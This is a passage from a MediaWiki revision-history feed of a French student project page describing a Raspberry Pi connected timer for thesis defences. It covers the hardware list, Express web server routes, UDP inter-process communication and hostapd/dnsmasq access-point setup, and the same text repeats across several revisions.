Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49390</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49390"/>
				<updated>2019-01-20T20:47:56Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49389</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49389"/>
				<updated>2019-01-20T20:46:41Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Séance 1 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
&lt;br /&gt;
===Séance 1===&lt;br /&gt;
&lt;br /&gt;
====Recherche d'un sujet et clarification du cahier des charges====&lt;br /&gt;
&lt;br /&gt;
===Séance 2===&lt;br /&gt;
===Séance 3===&lt;br /&gt;
&lt;br /&gt;
====Serveur web====&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
===Séance 4===&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
===Séance 5===&lt;br /&gt;
&lt;br /&gt;
====Configuration de la raspberry pi====&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49388</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49388"/>
				<updated>2019-01-20T20:34:49Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Matériel utilisé */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
&lt;br /&gt;
===Séance 1===&lt;br /&gt;
===Séance 2===&lt;br /&gt;
===Séance 3===&lt;br /&gt;
&lt;br /&gt;
====Serveur web====&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
===Séance 4===&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
===Séance 5===&lt;br /&gt;
&lt;br /&gt;
====Configuration de la raspberry pi====&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49387</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49387"/>
				<updated>2019-01-20T20:22:51Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Description du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
